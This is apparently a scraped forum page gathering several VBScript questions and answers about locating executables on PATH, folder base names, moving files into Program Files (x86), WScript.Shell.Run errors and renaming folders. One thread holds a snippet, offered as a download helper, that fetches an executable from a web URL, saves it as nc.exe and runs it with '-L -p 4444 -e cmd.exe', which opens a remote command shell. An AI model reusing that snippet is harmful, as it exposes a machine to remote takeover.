How can I find path of file - vbscript

In the end, I am trying to return the 'Product Version' of Robocopy.exe (in order to avoid using XP026; broken return code). I can use Shell.Application, NameSpace, ParseName to get the 'Product Version', but I would need to know the NameSpace (folder|directory|path) beforehand.
I can't write a NameSpace path into the script since it will run on different computers and Robocopy.exe could be in one or more directories listed in the system PATH environment variable. I am only interested in the ones found in PATH, and further, the instance that will execute as a result of the WScript.Shell Run method. WScript.Shell Run will execute the first instance found in the system search path when absolute path is not specified. That's the one I'm interested in finding.
My backup plan is to use the where.exe program to find the full path to Robocopy.exe, return it to my vbs script using WScript.Shell Exec oExec.StdOut and extract the path to use as NameSpace in the code above.
I have been searching for a vbs or com control implementation of the winapi searchpath function/method and have had no luck. I'm surprised it's not already implemented in FileSystemObject or Shell.Application. I appreciate any help, referrals, or ideas.

To search the PATH variable for a given file you would have to get value of the variable, split it by the ";" character into an array and then loop through the array of directory paths checking each directory if contains the file you search for. But you can also use a CMD one-liner to achieve that:
sFileName = "robocopy.exe"
Set oShell = WScript.CreateObject("WScript.Shell")
' this will find the file that will be actually run from command line when typed without qualified path
Set oExec = oShell.Exec("cmd /c for %G in (""" & sFileName & """) do #echo.%~$PATH:G")
' this will find all occurances of the file in directories listed in PATH
'Set oExec = oShell.Exec("cmd /c for %G in (""%path:;="" ""%"") do #if exist ""%~dpfxG\" & sFileName & """ echo %~dpfxG\" & sFileName)
Do
line = oExec.StdOut.ReadLine()
WScript.Echo line
' here you can examine the file
Loop While Not oExec.Stdout.atEndOfStream

Related

How to get the basename when it gets truncated with period in path?

Am I missing a trick here?
Dim fso
Set fso = WScript.CreateObject("Scripting.FileSystemObject")
WScript.Echo fso.GetBaseName("D:\temp\1. Some Folder")
WScript.Echo fso.GetBaseName("D:\temp\Some Other Folder Without A Dot")
WScript.Echo fso.GetAbsolutePathName("D:\temp\1. Some Folder")
The code above for the basename gets truncated at the dot/period.
D:\temp\1
I'm assuming that VBScript is thrown by the dot. Is there a trick to getting around this? Or do you have to modify the full path after the last index of slash?
I believe GetFileName will produce the result you're looking for.
From the docs:
Returns the last component of a specified path that is not part of the drive specification.
The GetBaseName function indeed sees everything after the last dot as extension so the folder name you are expecting is truncated.
Safer, but only for existing paths could be to use the GetFolder function to receive a Folder object and take the Name property from that:
WScript.Echo fso.GetFolder("D:\temp\1. Some Folder").Name
returns
Some Folder

Move command in VBScript destination is program file (x86) "changed to download to (x86)

Please hold all responses. Just found something.
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
RUNCMD = "nc.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
So my many lines of vbs, and strings it will open (or not) along the way currently has a vbs that opens an url to download something with instructions on where to save, and than when done, moves from download folder to programs (x86) but it looks like i found something that will download the file to (x86) for me. I will see what it takes to download to special folder.
I do know my next struggle will be getting the vbs to wait.
In dos
start/wait drive:\path\file.exe
waits for the install to finish before moving on to next task.
Set WshShell = WScript.CreateObject("Wscript.Shell")
MsgBox "1:1"
Sub2
Sub3
Sub Sub2()
WshShell.Run "cscript //nologo Sub2.vbs", 1, True
End Sub
Sub Sub3()
WshShell.Run "cscript //nologo Sub3.vbs", 1, True
End Sub
Has me creating many vbs files to run in order, which I haven't tested yet. So I don't know if each one will wait till the program has finished installing or if I need to create a loop to see if the exe is still running.
I do have a "learning vbs" folder with examples to modify to build from. I'm expanding as I learn and testing.
I can't move a file from desktop to program file (X86) due to errors
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath("Program Files (x86)", "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
Error mismatch files
And if I remove "" around program files (x86) for destination
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath(Program Files (x86), "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
I get ejected ) error. What am I missing?
EDITING: From response below
As has already been pointed out, Program Files (x86) = ... isn't valid syntax. Variable names must not contain spaces, and parentheses are only allowed when declaring array variables. Also, the SpecialFolders collection does not have a member "Program Files (x86)".
Expand the respective environment variable instead:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
Also, your command tries to move the content of the folder "file to move". Is that intentional? If you wanted to move a file " file to move" you'd have to change the last statement to fso.MoveFile src, dst & "\".
Also, your command tries to move the content of the folder "file to move"
MY COMMENT:
No, "file to move" fallowed by 'not sure if I should include extension is the name of the file (i.e myfile.extension) not "folder" file to move. The folder is "desktop"
desktop = sh.SpecialFolders("Desktop")
and
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
thus do i put
source = fso.BuildPath(desktop, "file to move.extension")
I'm not looking for someone to write the code for me. I have tried the %path% thing that works in dos (i.e %userprofile%) in vbs before and got stuck so to see
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
has me scratching my head. Even with the expand command.
Doing some testing. Will edit with update. Sorry for late response. Weekend hobby project thing.
As has already been pointed out, Program Files (x86) = ... isn't valid syntax. Variable names must not contain spaces, and parentheses are only allowed when declaring array variables. Also, the SpecialFolders collection does not have a member "Program Files (x86)".
Expand the respective environment variable instead:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
Also, your command tries to move the content of the folder "file to move". Is that intentional? If you wanted to move a file " file to move" you'd have to change the last statement to fso.MoveFile src, dst & "\".

VBS WScript.Run fails after passing Exists test

In a couple of place in my code I check if the file exists (it does) then I try to Run the file as above, or get the DateLastModified, and get errors about file not found or invalid path. How can the script NOT see a file after confirming it exists?
I'm working up a .vbs script that tries to run an Access .mdb file. The WScript.Run command seems to choke on the filename, but putting a MsgBox() before that call to display the path allows Run to work properly. I don't want to display a popup.
Error is:
The directory name is invalid.
How is this possible and how can I get around it?
Here is code:
AccessFileName = "App.mdb"
LocalPath = "C:\Folder\"
SET ws = WScript.CreateObject("WScript.Shell")
path = Chr(34) & LocalPath & AccessFileName & Chr(34)
if (fso.FileExists(LocalPath & AccessFileName)) THEN
'MsgBox(path) 'Uncommenting this line removes the error
ws.Run path 'This line errors
End If
Try to open your file with shell .InvokeVerb method:
AccessFileName = "App.mdb"
LocalPath = "C:\Folder\"
If CreateObject("Scripting.FileSystemObject").FileExists(LocalPath & AccessFileName) Then
CreateObject("Shell.Application").Namespace(LocalPath).ParseName(AccessFileName).InvokeVerb
End If
UPD: Both ActiveX WScript.Shell and Shell.Application uses native windows shell to perform a file execution.The first one launches new process via WSH core located in wscript.exe, cscript.exe, wshom.ocx, jscript.dll, vbscript.dll, ets, .Run and .Exec methods of WsShell object provides wide control on the launched process, and second one located in Shell32.dll, uses .InvokeVerb method of IShellDispatch object, called without name, runs default verb equals to the windows explorer "open" command.In case of any issues connected to WSH, explorer might still works without any proplems. If it does, that is just a work-around, I can't say what's wrong definetely without close look.
Hello the following code worked for me.
Basically this code gets a folder object and loops through all files in a folder and checks if its the one that you named. This it runs the application.
Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = Wscript.CreateObject("Wscript.Shell")
AccessFileName = "App.mdb"
LocalPath = "C:\Folder\"
Set myFolder = fso.GetFolder(LocalPath)
For each myFile in myFolder.Files
If myFile.Name = AccessFileName Then
'Wscript.Echo myFile.Name
ws.Run myFolder.Path & "\" & myFile.Name
End If
Next
You can give this a shot. You probably do not need the quotes around the path, but I included it as a comment if you want to give it a shot. You just put quotes twice if you need to include a quote character in a string:
Set fso = CreateObject("Scripting.FileSystemObject")
AccessFileName = "App.mdb"
LocalPath = "C:\Folder\"
Set ws = WScript.CreateObject("WScript.Shell")
' path = """" & LocalPath & AccessFileName & """" <-- probably unnecessary
path = LocalPath & AccessFileName
If (fso.FileExists(path)) Then
Set file = fso.GetFile(path)
'MsgBox(path) 'Uncommenting this line removes the error
ws.Run file.Path 'This line errors
End If
This does not make any sense. Having a MsgBox line is altering the behavior of the program!!!
I feel it is probably some weird invisible character somewhere which is getting activated when you comment the line.
Try retyping the If block without the MsgBox in between.

Renaming folders with VBScript

I need to be able to often renaming multiple folders in ASP. None of the methods that I've found are working for me. Here is the current method that I am trying-
Set FS = CreateObject("Scripting.FileSystemObject")
FS.MoveFolder "/images/715", "/images/V14"
This, as well as others that I've tried, always gives me a "path not found" error. I know that the directory that the script is in has these folders in it because I've been renaming them manually. Does the script need to know the full path? What if I don't know what the full path may be?
Update:
The script runs in a directory named "/ifp". I also tried this, with and without the "/ifp" and both forward and back slashes, and it also gave path not found. Once this works on my testing server I send it to the guy with the production server so I can't use any static directory names other than the "/images/????"
Dim sCurPath
sCurPath = CreateObject("Scripting.FileSystemObject").GetAbsolutePathName(".")
FS.MoveFolder sCurPath & "\ifp\images\715", sCurPath & "\ifp\images\V14"
Use absolute paths (C:\images\715). It would look like this:
Set FS = CreateObject("Scripting.FileSystemObject")
FS.MoveFolder "C:\images\715", "C:\images\V14"
If you are using a -nix system then keep in mind that the first / is the root directory - ensure you do indeed have an images folder in the root directory path.
Also note that in order to rename the folder there cannot be trailing \'s after the folder names and the script must be run on the local machine.
If you keep getting path errors, you're passing it incorrectly somehow. Build in some error checking to see what is going wrong:
Dim tmpPath = "\ifp\images\715"
Dim newPath = "\ifp\images\V14"
If FS.FolderExists(sCurPath & tmpPath) Then
Response.Write("The folder exists.")
FS.MoveFolder sCurPath & tmpPath, sCurPath & newPath
Else
Response.Write("The folder " & sCurPath & tmpPath & " does not exist.")
End If

wshshell.run can not find file

From a command line I can run
oradim.exe -delete -sid DataWare
Its in my path so I can do it from any location (I have tested this)
What is failing is
oraCMD = "oradim.exe -delete -sid DataWare"
errCMD = wshShell.exec(oraCMD)
if errCMD <> 0 Then
msgbox "ERROR: " & errCMD
wscript.quit
end if
In this configuration I get the error "Object doesn't support this property or method". If I use .run instead of .exec I get "The system cannot find the file specified".
Any ideas?
Your code mixes .Run (returning a numerical error code) and .Exec (returning an object and needing an assignment with Set). If the process started by WSHShell can't find oradim, then this process didn't get the PATH of the shell you used for testing. How did you start the .vbs? Easy way out: specify full path to oradim.exe.
On second thought: remember to quote the file spec if it contains spaces:
oraCMD = """c:\program files\ora labora\oradim.exe"" -delete -sid DataWare"
What solved the problem was calling the CMD in the command line
oraCMD = "CMD /c oradim.exe -delete -sid"
Did you try errCMD = wshShell.run(oraCMD) ?

Resources